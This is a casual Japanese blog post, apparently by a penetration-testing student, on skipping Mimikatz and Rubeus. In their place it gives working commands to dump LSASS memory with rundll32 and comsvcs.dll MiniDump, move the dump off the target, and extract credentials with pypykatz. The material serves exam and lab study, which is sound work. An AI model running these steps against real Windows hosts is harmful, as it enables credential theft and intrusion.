はじめに
- Windows を攻める話になると、やたら出てくるツール、Mimikatz & Rubeus
- LSA シークレットと LSASS の違いもわからなかったころ、「メモリをダンプするならこれ!」って感じで習いました
- ただ、これらのツールって有名だけど、本当に使う必要があるのか?って思うんですよね(笑)
- この記事では、いまの私のお気持ちをゆるく書いていきます
あくまで HTB や試験の勉強をしてきた範囲での、個人の感想です! 考えが変わったらすみません💦
前提
Mimikatz・Rubeus ってどんなツール?
- Windows は、
lsass.exeを使って、メモリ上に資格情報やチケットを保持しています - Mimikatz や Rubeus は、それらの情報をメモリから取り出すためのツールです
- ターゲットホスト上で、メモリダンプ&解析を実行します
使わない理由
1. ツールを運ぶコストがかかる
- これらのツールは、ターゲット上で実行するので、運ぶコストがかかります
- 単純に面倒くさいですし、Windows Defender を止めたりする必要もあるから、さらに面倒くさい
2. 動作が安定しない
- これは事実じゃないかもですが、Mimikatz って動作が安定しないイメージがあるんですよ
- 固まったり、起動できなかったり、よくわからんエラーが出たり……
- まあ、HTB の環境で使ってみたときにそう感じただけだから、実際のホストでは問題なく動くのかもしれません。
- でも、それに対応するために思考コストを払いたくないので、私は使わないです💦
3. 使い方を覚えたくない
- これは私情です(笑)
- DNA 的に、Windows で動かすことが前提のツールの使い方って覚えられないんですよね
- それと、Mimikatz とかのツールってぱっと見、複雑そうじゃないですか(偏見)
代わりにどうしているか
ツールではなく、固定の手順を覚える
- Mimikatz などを使うと、サブコマンドだったり、オプションだったり色々理解する必要があると思います
- でも結局、メモリ上にある情報をすべてダンプできたらいいので、以下を脳死で実施すれば万事解決!
実際のやり方
1. ターゲット:LSASS の PID を取得
C:\> tasklist /fi "imagename eq lsass.exe"
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
lsass.exe 672 Services 0 12,345 K2. ターゲット:メモリをダンプ
C:\> rundll32 C:\windows\system32\comsvcs.dll, MiniDump [PID] C:\lsass.dmp full※ PID は手順1で調べた値に置き換えるのを忘れずに(今回であれば、672 に置き換える)
3. ターゲット:ダンプファイルをローカルに転送
転送方法は任意(だいたいWeb 経由です)
4. 攻撃ホスト:pypykatz で解析
Ch4n24n@htb[/htb]$ pypykatz lsa minidump lsass.dmpこのやり方のいいところ
- Mimikatz などはダンプも解析もターゲット上でやりますが、このやり方なら解析は手元でできるので、ターゲット上での作業が少なくて済みます
- そのため、ターゲットの環境による影響を最小限にできます
おわりに
- とまあ、偏見にまみれた意見を言わせていただきました(笑)
- あくまで一意見なので、鵜呑みにせずに!